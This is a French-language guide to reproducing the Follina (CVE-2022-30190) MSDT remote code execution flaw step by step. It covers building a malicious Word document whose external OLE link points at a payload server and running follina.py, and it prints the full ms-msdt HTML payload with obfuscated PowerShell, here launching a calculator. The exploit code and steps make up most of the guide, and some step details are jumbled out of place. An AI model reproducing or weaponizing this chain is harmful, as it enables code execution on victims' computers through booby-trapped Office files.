
Guide de reproduction pas à pas pour la vulnérabilité d'exécution de code à distance CVE-2022-30190 (Follina) MSDT, incluant la création de documents malveillants et la configuration du serveur C2.
alias Follina
Follina existe dans l'outil de diagnostic de support Microsoft (MSDT). Lorsqu'une application appelle MSDT via un protocole URL pour obtenir du support, une vulnérabilité d'exécution de code à distance se produit. Une exploitation réussie permet à un attaquant d'exécuter du code arbitraire avec les privilèges de l'application en cours d'exécution.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 Créez un document Word (.docx) et insérez un objet OLE (ex : Bitmap Image) dans le texte.
Step2 Décompressez le fichier .docx, modifiez le fichier word/_rels/document.xml.rels dans le dossier, remplacez le texte surligné en jaune ci-dessous par et ajoutez l'attribut .
Step3 Modifiez le fichier dans le dossier, remplacez le texte surligné en jaune ci-dessous par et ajoutez l'attribut .
Step4 Ouvrez le fichier .docx avec 7-zip (sans décompression), glissez les deux fichiers modifiés dans le .docx pour finaliser la création du document malveillant.
Target="embeddings/oleObject1.bin"Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Téléchargez Follina.py publié par John Hammond. Ici, nous prenons l'exemple de l'appel de base à la calculatrice :
python3 follina.py -c calc.exe -i eth0
Dans le fichier Follina.py, les lignes 117 à 125 fabriquent principalement le payload malveillant (.html). Le contenu est le suivant : <script>location.href... est le script qui exécutera la calculatrice sur la machine victime. L'ensemble du fichier est également rempli d'un grand nombre de caractères aléatoires afin de le remplir jusqu'à au moins 4096 octets. Pour la raison, voir “Follina” MSDT Attack.
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script>